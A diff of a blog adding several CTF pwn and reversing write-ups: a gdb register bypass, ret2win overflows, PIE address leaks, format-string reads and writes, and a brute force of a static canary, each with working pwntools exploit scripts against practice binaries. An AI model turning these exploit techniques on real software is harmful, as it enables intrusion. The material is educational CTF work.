zeus: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=95542c1d888f30465172c1c77dd1eef1109b4c29, for GNU/Linux 3.2.0, not stripped
$ checksec --file=zeus
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 39 Symbols No 0 1 zeus
```
We can decompile it with Ghidra to extract some C code; after renaming some variables (and stripping some content for clarity) we get this:
```c
undefined8 main(int argc,long argv)
{
int result;
undefined8 local_98;
undefined8 local_90;
// [REDACTED FOR SIMPLICITY]
char *local_18;
char *str1;
str1 =
"To Zeus Maimaktes, Zeus who comes when the north wind blows, we offer our praise, we make you wel come!"
;
local_18 = "Maimaktes1337";
local_58 = 0xc1f1027392a3409;
// [REDACTED FOR SIMPLICITY]
local_30 = 0x3a110315320f0e;
uStack_29 = 0x4e4a5a00;
if (((argc == 3) && (result = strcmp(*(char **)(argv + 8),"-invocation"), result == 0)) &&
(result = strcmp(*(char **)(argv + 0x10),str1), result == 0)) {
puts("Zeus responds to your invocation!");
local_98 = local_58;
local_90 = local_50;
local_88 = local_48;
local_80 = local_40;
local_78 = local_38;
local_70 = local_30;
uStack_69 = uStack_29;
xor(&local_98,local_18);
printf("His reply: %s\n",&local_98);
return 0;
}
puts("The northern winds are silent...");
return 0;
}
```
What we can understand from this snippet is that the program is waiting for 3 arguments; the program name, an option `-invocation` and some invocative gibberish for Zeus. After this, the program apparently does some calculations (notably XOR) with pre-defined values and gives us a reply that could be the flag we're looking for.
What we could do is simply provide the arguments to the executable, but it is funnier to do it the other way; as we have the executable, as the flag is embedded in it some way, and as we have complete control over it, we can simply use a debugger to pass each check and get the right answer.
As the executable is targeting 64-bit x86 for GNU/Linux based systems, we can derive from this the calling convention used. In this case, it is the [System V ABI](https://wiki.osdev.org/System_V_ABI) (Application Binary Interface). There, parameters to the functions are passed into the `rdi`, `rsi`, `rdx`, `r10`, `r8`, and `r9` registers, in this order. The result of the operation is then stored in the `rax` register.
Here, we'll be looking at the result of the `strcmp` calls that should be zero; so what we'll do is, after each call to strcmp, just set `rax` to zero and step up to the next instruction.
By disassembling the binary and focusing on the string comparison part, we get:
```nasm
0x0000000000001265 <+157>: add rax,0x8
0x0000000000001269 <+161>: mov rax,QWORD PTR [rax]
0x000000000000126c <+164>: lea rdx,[rip+0xe0a] # 0x207d
0x0000000000001273 <+171>: mov rsi,rdx
0x0000000000001276 <+174>: mov rdi,rax
0x0000000000001279 <+177>: call 0x1050 <strcmp@plt>
0x000000000000127e <+182>: test eax,eax
0x0000000000001280 <+184>: jne 0x132c <main+356>
```
Here, as specified in the calling convention, arguments are passed into `rdi` and `rsi`, then the function is called, and then the program tests if `eax` (the codeword for the lower 32-bits of `rax`) is zero.
## Exploitation
We set a breakpoint at `*main+177`, and another one at `*main+214` (the second `strcmp` call) and run the program, providing whatever garbage as arguments (as long as `argc == 3`):
```nasm
$ gdb --args ./zeus hello world
(gdb) b *main+177
Breakpoint 1 at 0x1279
(gdb) b *main+214
Breakpoint 2 at 0x129e
(gdb) r
Breakpoint 1, 0x0000555555555279 in main ()
(gdb) x/3i $rip
=> 0x555555555279 <main+177>: call 0x555555555050 <strcmp@plt>
0x55555555527e <main+182>: test eax,eax
0x555555555280 <main+184>: jne 0x55555555532c <main+356>
```
Okay, we're at the interesting part. Let's step to the test instruction, and at this point, set the register to zero. Then, we'll step again and pass over the jump, continuing the execution normally until the next check.
```nasm
(gdb) si
0x0000555555555050 in strcmp@plt ()
(gdb) finish
Run till exit from #0 0x0000555555555050 in strcmp@plt ()
0x000055555555527e in main ()
(gdb) x/i $rip
=> 0x55555555527e <main+182>: test eax,eax
(gdb) set $rax = 0
(gdb) ni
0x0000555555555280 in main ()
(gdb) x/i $rip
=> 0x555555555280 <main+184>: jne 0x55555555532c <main+356>
(gdb) ni
0x0000555555555286 in main ()
(gdb) x/i $rip
=> 0x555555555286 <main+190>: mov rax,QWORD PTR [rbp-0xa0]
```
As you can see here, we effectively bypassed the check for the first argument. We will then do the same for the last argument; stepping until `strcmp`, setting `rax` to zero before the test instruction, then step, you know the drill:
```nasm
(gdb) c
Continuing.
Breakpoint 2, 0x000055555555529e in main ()
(gdb) ni
0x00005555555552a3 in main ()
(gdb) set $rax = 0
(gdb) c
Continuing.
Zeus responds to your invocation!
His reply: DUCTF{king_of_the_olympian_gods_and_god_of_the_sky}
[Inferior 1 (process 7271) exited normally]
```
We bypassed the checks; the flag is now ours!

View File

@@ -0,0 +1,138 @@
---
title: "WHYCTF 2025: old-memes"
excerpt: "Classic 32-bit x86 ELF ret2win exploit (stack buffer overflow) with Position Independent Executable"
tags: [ctf, pwn]
---
As usual, we'll begin by analyzing the executable features and architecture:
```
$ file old-memes
old-memes: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=c315155fad7db7cae0003de733ec91e47c0dba89, for GNU/Linux 3.2.0, not stripped
```
We're dealing with a 32-bit executable this time. I've gotten more used to 64-bit recently, but this should be no problem. We can also take a look at the enabled security features:
```
pwndbg> checksec
File: /home/qelal/WHY2025ctf/OldMemesNeverDie/old-memes
Arch: i386
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
```
It is the first time that I will deal with a PIE-enabled file. To make things clear, PIE stands for "Position Independant Executable"; which basically means, the system will load the program at a different address every time it is run (using ASLR: Address Space Layout Randomization). This is a problem for us because it will be harder to get the addresses of the symbols we will work with.
Let's run the program to see its behavior:
```
$ ./old-memes
(do with this information what you want, but the print_flag function can be found here: 0x565ff1ed)
What is your name?
> ^C
$ ./old-memes
(do with this information what you want, but the print_flag function can be found here: 0x565e01ed)
What is your name?
```
The programmer was really kind and gave us the address of a `print_flag` function at startup. We can clearly see here that the address changes for each execution. Let's take a look into the source code now:
```c
int print_flag(){
// does what it's supposed to do, redacted here
}
int ask_what(){
char what[8];
char check[6] = "what?";
printf("\n\nWhat is your name?\n> ");
fgets(what, sizeof(what), stdin);
what[strcspn(what, "\r\n")] = 0;
if (strcmp(check, what) != 0)
return 1;
return 0;
}
int ask_name(){
char name[30];
printf("\n\nWhat is your name?\n> ");
fgets(name, 0x30, stdin);
name[strcspn(name, "\r\n")] = 0;
printf("F* YOU %s!\n", name);
}
int main(){
setbuf(stdout, 0);
printf("(do with this information what you want, but the print_flag function can be found here: %p)\n", print_flag);
if(ask_what())
return 1;
ask_name();
return 0;
}
```
At first glance we can see that the first function we enter after main is `ask_what`; a string comparison is done and if we enter `what?` we get into another function, called `ask_name`. This function hosts a buffer overflow: indeed, the programmer allocated 30 bytes for the `name` string, but gave `0x30` to the `fgets` function, the safe replacement for the very unsafe `gets` we know from past challenges.
It is obvious that 30 in decimal and its hexadecimal representation are not the same number; the latter being 48 decimal. This allows for 18 bytes of overflow.
To confirm this hypothesis we can try to enter a big enough amount of bytes when we enter the insecure prompt:
```
$ ./old-memes
(do with this information what you want, but the print_flag function can be found here: 0x5657c1ed)
What is your name?
> what?
What is your name?
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
F* YOU AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
[1] 12233 segmentation fault (core dumped) ./old-memes
```
A segfault occurs, which means the program tried to access an invalid address, because, of course, `0x41414141 (AAAA)` isn't mapped.
We can trigger a controlled segfault in pwndbg to find the exact EIP (extended instruction pointer) offset, which normally holds the return address to the function we were called from; in this case, `main`, but we'll modify it to reach the `print_flag` function.
After generating a cyclic pattern, injecting it, and observing the EIP value `0x616c6161 ('aala')` we find the offset:
```
pwndbg> cyclic -l aala
Finding cyclic pattern of 4 bytes: b'aala' (hex: 0x61616c61)
Found at offset 42
```
We can demonstrate that this offset is correct by injecting arbitrary controlled data, like four 'B' characters:
```bash
$ python3 -c "print('A'*42+'B'*4)"
```
And indeed, pwndbg shows us `EIP 0x42424242 ('BBBB')`. We are good to go.
What I bascially did from there was scraping the address given in text by the program, converting it to little-endian (because the architecture here is x86) and building a small pwntools script. Here's the exploit code (stripped from boilerplate):
```python
offset = 42
io = start()
info_line = io.recvline()
print_flag_addr = bytes.fromhex(info_line[-10:-2].decode())[::-1]
print(print_flag_addr)
io.sendlineafter(b'> ', "what?")
io.sendlineafter(b'> ', b'A'*offset+print_flag_addr)
io.interactive()
```
And it worked first try!
```
$ python exploit.py REMOTE old-memes-never-die.ctf.zone 4242
F* YOU AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xfd1}[!
F* YOU and your flag: flag{f648a34020ffba10cc5cfc9bd2240725}
```

View File

@@ -0,0 +1,86 @@
---
title: "PicoCTF 2025: PIE TIME"
excerpt: "Hinted PIE ret2win stack buffer overflow on an amd64 ELF"
tags: [ctf, pwn]
---
## Recon
```
$ file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0072413e1b5a0613219f45518ded05fc685b680a, for GNU/Linux 3.2.0, not stripped
$ checksec --file=vuln
[*] '/home/qelal/PicoCTF/PIE-TIME/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
```
PIE is enabled here, so the program will be loaded at a different memory address each time it is run. Also, addresses of instructions inside the binary are now offsets, not absolute addresses. Fortunately, the program leaks the address for symbol `main` at runtime:
```
$ ./vuln
Address of main: 0x55aadb5fd33d
Enter the address to jump to, ex => 0x12345: ff
Your input: ff
Segfault Occurred, incorrect address.
```
The program behavior is quite simple, it asks for an address and jumps to it. Source code for the challenge was available, but it is easy to work without it here.
Upon inspection in IDA, we see a `win` function that seems to open the flag file:
```nasm
.text:00000000000012A7 endbr64
.text:00000000000012AB push rbp
.text:00000000000012AC mov rbp, rsp
.text:00000000000012AF sub rsp, 10h
.text:00000000000012B3 lea rdi, aYouWon ; "You won!"
.text:00000000000012BA call _puts
.text:00000000000012BF lea rsi, modes ; "r"
.text:00000000000012C6 lea rdi, filename ; "flag.txt"
.text:00000000000012CD call _fopen
.text:00000000000012D2 mov [rbp+stream], rax
.text:00000000000012D6 cmp [rbp+stream], 0
.text:00000000000012DB jnz short loc_12F3
.text:00000000000012DD lea rdi, aCannotOpenFile ; "Cannot open file."
.text:00000000000012E4 call _puts
.text:00000000000012E9 mov edi, 0 ; status
.text:00000000000012EE call _exit
```
We can note here the offset of the function which is `0x12A7`. Also, by taking a look at the `main` symbol, we see its offset is `0x133D`:
```c
.text:000000000000133D ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:000000000000133D public main
```
## Exploit
Having this information we can deduct the space between the two symbols, by subtracting the two offsets. We find `0x96` bytes.
Now we can deduct the position of the `win` function at runtime, by taking `main`'s address and subtracting `0x96`. This can be done in a Pwntools script:
```python
io = start()
main_text = io.recvuntil(b'12345:').split(b'\n')[0].split(b': ')[1].decode()
main_addr = int(main_text, 16)
win_addr = main_addr - 0x96
io.sendline(hex(win_addr).encode())
print(io.recvall())
```
We can execute the exploit and get the flag:
```
$ python exploit.py REMOTE rescued-float.picoctf.net 52840
b' Your input: 59c1cff1d2a7\nYou won!\npicoCTF{REDACTED}\n\n'
```

View File

@@ -0,0 +1,168 @@
---
title: "PicoCTF 2025: PIE TIME 2"
excerpt: "Using format string vulnerability to leak stack information and hijack control flow on amd64 PIE executable"
tags: [ctf, pwn]
---
## Recon
This challenge is the follow-up of the previous "PIE TIME" level.
```
$ PIE-TIME2 file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=89c0ed5ed3766d1b85809c2bef48b6f5f0ef9364, for GNU/Linux 3.2.0, not stripped
$ PIE-TIME2 checksec --file=vuln
[*] '/home/qelal/PicoCTF/PIE-TIME2/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
```
All protections are enabled, notably PIE (Position Independent Executable). The program will be loaded each time at different addresses, and the binary will only contain offsets (relative addresses), not absolute addresses like when we compile with `-no-pie`. Anyways, here is the program's behavior:
```
$ ./vuln
Enter your name:john
john
enter the address to jump to, ex => 0x12345: ff
Segfault Occurred, incorrect address.
```
The behavior is mostly the same as the previous level, however here they ask us for our name first, making the program quite polite.
The developer wasn't so kind this time and didn't give us a leak of any address. But we can probably find this by ourselves, can't we?
Looking at the source code we find some interesting stuff:
```c
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo();
}
int win() {
// reads the flag
}
int main() {
call_functions();
return 0;
}
```
For once, they used `fgets`, the safe replacement for `gets`, which checks for input length, making us unable to trigger a buffer overflow here. However, the `printf` function was directly called on user input: `printf(buffer)`.
This is a terrible idea as the content of the buffer will be used to parse the format string for printf; for example we could try injecting a `%p` in the input, and we would get the next pointer on the stack. As the input buffer is limited to 64 chars, we can chain a couple more, and leak many pointers on the stack..
This is the vulnerability we could use to leak main's return address. To do this first we'll need to know where this address is located on the stack.
By decompiling the `main` function, we can find where `call_functions` is supposed to return:
```nasm
0x0000000000001437 <+55>: mov eax,0x0
0x000000000000143c <+60>: call 0x12c7 <call_functions>
0x0000000000001441 <+65>: mov eax,0x0
0x0000000000001446 <+70>: pop rbp
0x0000000000001447 <+71>: ret
```
The instruction right after the call is at `<main+65>` or offset `0x1441`. We'll take note of this.
We can do a bit of dynamic analysis with pwndbg to know where the return address to main could be on the stack:
```
pwndbg> b *call_functions
Breakpoint 1 at 0x12c7
pwndbg> r
[...]
─────[ BACKTRACE ]─────
► 0 0x5555555552c7 call_functions
1 0x555555555441 main+65
2 0x7ffff7ded24a None
3 0x7ffff7ded305 __libc_start_main+133
4 0x5555555551ee _start+46
```
We can now inject a bunch of `%p` specifiers to leak addresses off the stack and see where we'll find main+65:
```
Enter your name:%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
0x5555555592a1 0xfbad2288 0xaaaa6d5f 0x5555555592dc 0x21001 (nil) 0x7ffff7f99760 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x7f000a702520 (nil) 0x7ae1306570e7af00 0x7fffffffdb20 0x555555555441 0x1
```
We see that `0x555555555441`, our return address to main, is located at position 19 here. Therefore our exploit will use the `%19$p` format specifier to leak only this information. Also, it is the address for the instruction at `<main+65>`. Knowing this we can calculate the address for `main`.
We will simply subtract 65 decimal to the return address we found, and we get: `0x555555555400`. Of course this address will change at each execution but we don't care because we'll automate this later.
Also bear in mind that gdb disables ASLR by default so this perfect address made up of fives will be slightly different in non-debugging conditions.
Now that we leaked main, how do we know where `win()` is? Well, it's really simple. We will do a bit of static analysis (with IDA) to find win's offset:
```
.text:000000000000136A endbr64
.text:000000000000136E push rbp
.text:000000000000136F mov rbp, rsp
.text:0000000000001372 sub rsp, 10h
.text:0000000000001376 lea rdi, aYouWon ; "You won!"
```
So the offset for `win()` is `0x136A`. Knowing main's offset aswell, we will substract those two.
```
difference = main_offset - win_offset
difference = 0x1400 - 0x136A
difference = 0x96 bytes
```
So we know that `win()` is at `main() - 0x96` and we know the address for `main()`.
To know `win()` we will do: `main() - 0x96 = 0x????` and the address doesn't matter here, it will change everytime. But the idea works.
## Exploit
Great, we have the address for `win()` and the position of main's return address on the stack (19).
We can now write a Pwntools script to exploit the binary and get the flag:
```python
io = start()
main_offset = 0x1400
win_offset = 0x136A
diff_bytes = main_offset - win_offset # 0x96
io.sendlineafter(b'name:', b'%19$p')
main_ret_text = io.recvline()
main_ret_addr = int(main_ret_text.strip(b'\n').decode(), 16) # main+65 
main_addr = main_ret_addr - 65
win_addr = main_addr - diff_bytes
io.sendlineafter(b'12345:', str(hex(win_addr)).encode())
result = io.recvall()
print(result)
```
Let it run!
```
$ python exploit.py REMOTE rescued-float.picoctf.net 65162
b" You won!\npicoCTF{REDACTED}\n\n"
```

View File

@@ -0,0 +1,99 @@
---
title: "PicoCTF 2024: format-string-1"
excerpt: "Using format string vulnerability to read flag off the stack"
tags: [ctf, pwn]
---
## Recon
We're given an executable and its source code; let's first review the code:
```c
#include <stdio.h>
int main() {
char buf[1024];
char secret1[64];
char flag[64];
char secret2[64];
// Read in first secret menu item
FILE *fd = fopen("secret-menu-item-1.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-1.txt' file not found, aborting.\n");
return 1;
}
fgets(secret1, 64, fd);
// Read in the flag
fd = fopen("flag.txt", "r");
if (fd == NULL){
printf("'flag.txt' file not found, aborting.\n");
return 1;
}
fgets(flag, 64, fd);
// Read in second secret menu item
fd = fopen("secret-menu-item-2.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-2.txt' file not found, aborting.\n");
return 1;
}
fgets(secret2, 64, fd);
printf("Give me your order and I'll read it back to you:\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your order: ");
printf(buf);
printf("\n");
fflush(stdout);
printf("Bye!\n");
fflush(stdout);
return 0;
}
```
The program reads three files, if they're not in the current working directory, the program stops.
There is an obvious format string vulnerability in the call to `printf(buf)`. The flag is read from a file into a buffer on the stack.
We will read the flag from the stack as hex and then do some data manipulation on it to get the human-readable format.
## Local testing
Let's find the offset for the `flag` buffer on the stack. First, we create a `flag.txt` in the same directory as the executable, and fill it with an unique, easy to read value, such as "BBBBBBBB" which will look like 0x4242424242424242 in hex. When we'll find that pointer on the stack we know we're at the beginning of the flag buffer, then we will only have to look at the next 8-byte contents on stack to find the other parts of the flag, as the buffer is a continuous memory region.
By the way we'll also create the other 2 needed files, but their content's don't matter here. I'll write AAAAAAAA and CCCCCCCC in them.
```
$ ./format-string-1
Give me your order and I'll read it back to you:
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
Here's your order: 0x402118.(nil).(nil).0x402116.0x7f54acd3ca80.0x4343434343434343.0x677f000a.0x7ffcb4297808.0x7f54acd71a48.0x1.0x7f54acd66f08.0x9.(nil).0x4242424242424242.0x7f54acd9000a.0x7ffcb42976f8.0x7ffcb4297700.0x7f54acd9c668.(nil).(nil).0x7f54acd91740.0x4141414141414141.0x7ffc0000000a.0x7f54acd9c2e0.0xffffffff.0x7f54acb7b678.0x7f54acd66400.0x1.0x7ffcb4297840.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.
Bye!
```
We notice the hex patterns we were looking for (A, B, C) and see that the flag buffer (full of 0x42 "B" bytes) is at offset 14.
## Remote exploit
Now we can try this on the remote server, get the 14th pointer and the ones after:
```
$ nc mimas.picoctf.net 64683
Give me your order and I'll read it back to you:
%14$p.%15$p.%16$p.%17$p.%18$p.%19$p.%20$p
Here's your order: 0x7b4654436f636970.0x355f31346d316e34.0x3478345f33317937.0x31395f673431665f.[REDACTED]
Bye!
```
By swapping endianness (on 8-byte sequences) and removing the `0x` prefix and the `.` suffix, we get this raw byte sequence:
```
7069636f4354467b346e316d34315f35377931335f3478345f663134675f3931[REDACTED]
```
This, when encoded back to ASCII, gives us the flag:
```
picoCTF{4n1m41_57y13_4x4_f14g_[REDACTED]
```

125
writeups/2025-08-24-fmt2.md Normal file
View File

@@ -0,0 +1,125 @@
---
title: "PicoCTF 2024: format-string-2"
excerpt: "Using format string bug to get an arbitrary write primitive"
tags: [ctf, pwn]
---
## Recon
Following the format-string-1 challenge, we get an executable that we can analyze as always:
```
$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dfe923d97df1df729249ff21202d10ad15d45f4c, for GNU/Linux 3.2.0, not stripped
$ checksec --file=vuln
[*] '/home/qelal/PicoCTF/fmt2/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
```
We can take a look at the source code:
```c
#include <stdio.h>
int sus = 0x21737573;
int main() {
char buf[1024];
char flag[64];
printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your input: ");
printf(buf);
printf("\n");
fflush(stdout);
if (sus == 0x67616c66) {
printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
// Read in the flag
FILE *fd = fopen("flag.txt", "r");
fgets(flag, 64, fd);
printf("%s", flag);
fflush(stdout);
}
else {
printf("sus = 0x%x\n", sus);
printf("You can do better!\n");
fflush(stdout);
}
return 0;
}
```
There is a format string bug on `printf(buf)`. This time we won't only need to read leaked data off the stack, but instead we'll have to overwrite a global variable, named `sus`. As it is global, it won't be stored on the stack as other local variables.
Fortunately, as the binary is not PIE, we know that the address for `sus` will always be the same. It can be found from static analysis:
```
$ objdump -t vuln | grep sus
0000000000404060 g O .data 0000000000000004 sus
```
So it is located at `0x404060`. The value we'll have to overwrite `sus` with is `0x67616c66`, as we know from the source code.
## Exploit
To be able to inject the address of `sus` and write to it, we will first get the offset of where our input data is on the stack. To make it easy, we will inject an unique "AAAAAAAA" payload (which in ASCII is eight times 0x41) and see where it ends up:
```
$ ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
Here's your input: AAAAAAAA0x402075.(nil).(nil).0x402073.0x7efcbbadaa80.0x7efcbbb3a668.0x7ffc00000001.0x7efcbbb3a2e0.0xffffffff.0x7efcbb919678.0x7efcbbb04400.0x1.0x7ffc68e8fea0.0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.
sus = 0x21737573
You can do better!
```
Our input is at the 14th position on the stack. To be sure we can confirm this offset by using a more precise format specifier:
```
$ ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
AAAAAAAA%14$p
Here's your input: AAAAAAAA0x4141414141414141
sus = 0x21737573
You can do better!
```
By the way we could also use a bit of dynamic analysis on our local machine (with a dummy flag file) to see if our hypothesis is right (unnecessary but still nice to see):
```
pwndbg> set *0x404060 = 0x67616c66
pwndbg> c
Continuing.
ff
Here's your input: ff
I have NO clue how you did that, you must be a wizard. Here you go...
CTF{dummy}
[Inferior 1 (process 12774) exited normally]
```
Now that we know this, we can automate the exploit craft for this using the `fmtstr_payload` helper from pwntools:
```python
io = start()
sus_addr = 0x404060
payload = fmtstr_payload(14, {sus_addr: 0x67616c66})
io.sendlineafter(b'say?', payload)
print(io.recvall())
```
This writes the desired value to the address of `sus`, and the payload will be injected on 14th position of the stack, as we know this is where our input ends up being. We bypass the check, and get the flag.

187
writeups/2025-08-26-bo3.md Normal file
View File

@@ -0,0 +1,187 @@
---
title: "PicoCTF 2022: buffer-overflow-3"
excerpt: "Bruteforcing a fake stack canary to exploit a buffer overflow in 32-bit x86"
tags: [ctf, pwn]
---
## Recon
Today's executable is a 32-bit binary:
```
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=880ddfdc7ef13c4139ab8a80cc3d8225251a331f, for GNU/Linux 3.2.0, not stripped
```
Checking the enabled protections:
```
pwndbg> checksec
File: /home/qelal/PicoCTF/bo3/vuln
Arch: i386
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
```
Taking a look at the source code (some non-needed parts redacted):
```c
void win() { // reads the flag... }
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'canary.txt' in this directory with your",
"own debugging canary.\n");
fflush(stdout);
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
fflush(stdout);
exit(0);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
read_canary();
vuln();
return 0;
}
```
As we can see, at some point the program reads for user input and asks how many bytes we want to write into the buffer. As the buffer is `BUFSIZE` or 64 bytes long, and as the `read` call follows our byte-count, this leads to an obvious buffer overflow.
The problem is that, this time, it won't be as easy to exploit, as the developer rolled his own stack canary system which we will have to bypass...
(Of course a better protection would simply be to enable regular canaries, but it was written like so for the purposes of the challenge.)
## Getting around the canary
Reading the source, we find that the canary is supplied in a `canary.txt` file and it is `CANARY_SIZE` or 4 bytes long. This is pretty short...
As it is supplied from a file, we can assume it does not change between executions. Terrible mistake because this opens a bruteforcing attack vector for us.
The bruteforcing attack will work as follows: first, we will inject padding corresponding to the offset to the canary (probably 64 bytes as the buffer is declared right next to our user input buffer in the source code, and it is a round number from a binary standpoint).
Then, we will inject a guess letter, thus overwriting the 1st byte of the canary with our guess. If it is right, then the program will continue normal execution. But if it is wrong, it will throw us a stack smashing error, like so:
```
$ ./vuln
How Many Bytes will You Write Into the Buffer?
> 100
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
***** Stack Smashing Detected ***** : Canary Value Corrupt!
```
From this change of behavior we can infer that the value we injected is correct, and we can move on to the 2nd position, repeating the same strategy, until we get all 4 bytes of the canary.
When we get the full canary, as it never changes, we can use it however we want, and trigger the `win()` function by overwriting the return address in EIP.
## Finding the EIP offset
However this time we cannot simply inject a cyclic pattern and watch the EIP position. We will have to inject some padding, then our canary, and only then the cyclic pattern. We'll add these lengths to what the cyclic tool finds as an offset.
```
pwndbg> cyclic -l eaaa
Finding cyclic pattern of 4 bytes: b'eaaa' (hex: 0x65616161)
Found at offset 16
```
We have 16 bytes from the end of our guessed canary, so `64 (padding) + 4 (canary) + 16 (cyclic)` gives us 84 bytes to EIP. (In fact we don't really need the total offset, knowing 16 was sufficient.)
## Finding win
This is not complicated at all, because the binary is not PIE, so a simple static analysis can be used to find the address we'll overwrite with:
```
$ objdump -t vuln | grep win
08049336 g F .text 000000b3 win
```
## Exploit
Knowing all this, we can now automate our canary bruteforcing and buffer overflow control flow hijack with a Pwntools script:
```python
offset = 64
charset="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
known = ""
# Step 1: bruteforce the canary
print("[+] bruteforcing stack canary...")
for index in range(1, 5):
for char in charset:
io = start()
curr_guess = known+char
io.sendlineafter(b'> ', str(offset+index).encode())
io.sendlineafter(b'Input>', offset*b'A' + curr_guess.encode())
if b'Stack' in io.recvall():
#print("Fuck, wrong one")
io.wait()
else:
print(f"[+] position {index} -> char '{char}'")
io.wait()
known += char
break
print("[+] canary seems to be: " + known)
# Step 2: find EIP offset (from canary)
eip_offset = 16
win_addr = p32(0x08049336)
# Step 3: use it in buffer overflow to trigger win()
io = start()
io.sendlineafter(b'> ', str(offset+4+eip_offset+4).encode())
io.sendlineafter(b'Input>', offset*b'A' + known.encode() + eip_offset*b'B' + win_addr)
io.recvall()
```
And as always, (after some time) we get the precious flag..
```
[+] Receiving all data: Done (71B)
[DEBUG] Received 0x46 bytes:
b"Ok... Now Where's the Flag?\n"
b'picoCTF{Stat1C_c4n4r13s_4R3_b4D_[REDACTED]}\n'
[*] Closed connection to saturn.picoctf.net port 50666
```
This one was pretty nice, however now I wonder what bypassing real stack canaries looks like...

183
writeups/2025-08-27-fmt3.md Normal file
View File

@@ -0,0 +1,183 @@
---
title: "PicoCTF 2024: format-string-3"
excerpt: "Overwriting a GOT (Global Offset Table) entry using a format string vulnerability to get a shell on a 64-bit x86 target"
tags: [ctf, pwn]
---
## Recon
This challenge was given along with a libc and and interpreter file:
```
$ file format-string-3
format-string-3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=54e1c4048a725df868e9a10dc975a46e8d8e5e92, not stripped
$ file libc.so.6
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=8bfe03f6bf9b6a6e2591babd0bbc266837d8f658, for GNU/Linux 4.4.0, stripped
$ file ld-linux-x86-64.so.2
